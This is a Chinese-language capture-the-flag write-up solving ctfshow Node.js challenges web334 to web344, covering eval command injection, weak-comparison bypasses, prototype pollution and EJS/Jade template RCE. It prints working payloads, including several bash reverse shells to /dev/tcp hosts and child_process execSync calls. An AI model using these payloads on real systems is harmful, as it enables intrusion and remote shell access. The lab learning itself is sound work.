ctfshow-nodejs 刷题记录
nodejs官方中文文档,不明白的东西可以进去查 文档
这篇文章写的很好 —-> nodejs的wp
web334
题目
这里的把文件下载下来,添加后缀.zip就可以看到有两个文件在压缩包里
user.js
1 | module.exports = { |
login.js
1 | var findUser = function(name, password){ |
就上面的代码时解题关键
其中toUpperCase()函数为转为大写 用户名不能为大写
所以payload
1 | username=ctfshow passwd=123456 |
yu师傅给的一个小trick
1 | 在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。 |
web335
题目
在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。
可以去看看,并不难看懂
payload1
1 | require('child_process').execSync('ls').toString() |
payload2
1 | eval=require('child_process').spawnSync('ls').stdout.toString(); |
这里先是用require调用child_process这模块,然后在调用这个模块里面的函数方法
发现一个fl00g.txt,然后直接读取就好了
这两个payload的区别,就是有无args的区别,详细的话可以自己去上面给的链接里看
web336
题目
查看源代码又发现是eval
这道题ban了exec
那么这个payload还能用
1 | eval=require('child_process').spawnSync('ls').stdout.toString(); |
方法二
1 | __filename |
简单点说就是__filename
就是返回当前目录的所处的全路径,dirname
就是返回当前文件所处的位置,不包含文件本身
然后就利用fs模块里边的readFileSync函数读取文件(在文章开头给的文档链接里边可以查到)
发现过滤了exec和load(查看index.js)发现的
payload
1 | ?eval=require("child_process")['exe'%2B'cSync']('ls').toString() |
这里的加号要进行url编码,就是编码为%2B(类似ssti用[]绕过.)
payload
1 | ?eval=require('fs').readdirSync('.') |
web337
题目
1 | var express = require('express'); |
上面的a,b都是利用get方法进行传参,不理解的nodejs代码的可以看一下下面这篇文章
这里的话是nodejs的弱类型比较,第一次见
解题关键就在于怎么绕过这个判断了。
这里的思路是利用数组绕过。
nodejs的拼接问题
1 | console.log(5+[6,6]); //56,6 |
这时候就有一种思路了,就是类似['a']+flag==='a'+flag
这样的,比如flag是flag{123}
,那么最后得到的都是aflag[123}
,因此这个也肯定成立:md5(['a']+flag)===md5('a'+flag)
,同时也满足a!==b
:
payload
1 | ?a[]=1&b[]=1 |
这里为了相等就是因为要使md5加密相等
解法二
还有一种思路。理解一下javascript的数组,会发现它相对来说,和python的列表更为相像,而不像php的数组,因为它只能是数字索引,那么如果传非数字索引呢?:
1 | ?a[x]=1&b[x]=2 |
变成javascript中的对象了。而对象又有这样的特点:
1 | let a={ |
因此传入两个对象,进行变量拼接后得到的都是[object Object]ctfshow{xxxxxx},再进行md5肯定也是相同的。本来我以为还需要让a对象和b对象的有不同的键或者虽然键全是相同的,但是有值不同,这样来满足a!==b,但是发现并不需要,因为甚至这样,返回的都是false:
1 | let a={ |
感觉这部分就和java有点像了,两个对象直接比较并不是说比较属性啥的,而是通过引用(内存里的位置)比较的,因此自然a!==b。
这样的话值就可以不相等了,因为最后解析都是会解析 成Object
web338(原链污染)
题目
可以看看p神写的文章
源码里的东西
login.js
1 | var express = require('express'); |
其中还require了一个utils/common
然后就去查看一下,发现common.js
1 | module.exports = { |
顺便在看的时候发现common.js和P神里面举例的JS可以说是一模一样
只要secert.ctfshow===’36dboy’就会打印出flag。考点是原型链污染,第一次接触
payload
1 | utils.copy(user,req.body);,这里就是突破口,通过给Object添加ctfshow的属性,使 if(secert.ctfshow==='36dboy')返回ture即可 |
因为comment.js代码就是nodejs污染
payload
web339(模板渲染rce 原型链污染)
题目
原型链污染都是依靠修改object下的参数进行污染,而创建的对象要想达到object这个对象的话,得使用proto
login.js
1 | var express = require('express'); |
这想要是secert.ctfshow===flag
是不可能的事,那我们就只能想别的办法
这里给的源文件多出一个api.js
api.js
1 | var express = require('express'); |
这里的话是在function函数中的模板渲染,也是可以同过原型链污染query进行模板渲染的rce
这个render函数实际上是渲染函数,会在出现特定请求的时候执行特定操作
经过测试,query参数的值是可以直接当做语句来执行的
先/login那里污染一下发包,然后再post访问一下/api即可。
payload
1 | {"username":"admin","password":"admin","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}} |
payload中不用require的原因是这个:
1 | Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。 |
这里的话得在服务器的防火墙那添加监听端口,不然会监听不成功。
如果监听的是9999端口,就新开一个9999端口。
第一步,新监听一个端口
第二步**(反弹shell)**
先/login那里污染一下发包,然后再post访问一下/api即可。
文中标记的地方要记得修改
监听端口出现这就代表成功了,这里访问api的原因是,因为在/logion里object类里修改了query的值,然后触发点在/api的代码里。
解法二
是利用ejs的模板引擎漏洞
payload
1 | {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}} |
解法步骤和上面一样,是先污染/login,然后在访问api
web340(两层污染)
题目
login.js
1 | var express = require('express'); |
api.js
1 | var express = require('express'); |
就是这里的不一样,这里想要修改isAdmin的值的话,得转到object,因经过测试,userinfo.__proto__.__proto__` 才是 `Object
对象。
payload
1 | {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.11/11111 0>&1\"')"}}} |
解法和上一题一样,先污染/login,然后在访问/api
web341(两层污染加ejs)
题目
这题和其他不同的是没有 /api
接口触发污染点了,所以使用 ejs
RCE。
然后像 web340 一样污染要套两层。下面 EXP 也服务器监听端口是 9999
login.js
1 | var express = require('express'); |
这就是为什么要污染两层的原因
index.js
1 | var express = require('express'); |
这里的话,render触发由api.js改到了index.js
payload
1 | {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}} |
先去污染/login,然后再去抓index.js的包,触发render
web342(jade模板渲染)
题目
index.js
1 | var express = require('express'); |
login.js
1 | var express = require('express'); |
这题难度太大,看着wp都看不懂,直接拿payload打就行了
payload
1 | {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/xx 0>&1\"')"}}} |
方法和ejs渲染一样
web343(jade模板渲染 加了过滤)
题目
源码
login.js
1 | var express = require('express'); |
payload
1 | {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"')"}}} |
和上一题一样
web344()
题目
题目给的代码
1 | router.get('/', function(req, res, next) { |
正常就是这样:?query={"name":"admin","password":"ctfshow","isVIP":true}
,但是不行,发现把逗号给过滤了
HTTP协议中允许同名参数出现多次,不同服务端对同名参数处理都是不一样的,下面链接列举了一些
https://www.cnblogs.com/AtesetEnginner/p/12375499.html
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse
可以正常解析。
这样传:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
payload
1 | ?query={%22name%22:%22admin%22&query=%22password%22:%22%63tfshow%22&query=%22isVIP%22:true} |
首先就是node.js处理req.query.query的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了。至于c那个之所以要再进行url编码成%63,就是因为前面的%22,会造成%22c,正好ban了2c,所以c也需要进行url编码。学到了学到了,很有意思的特性。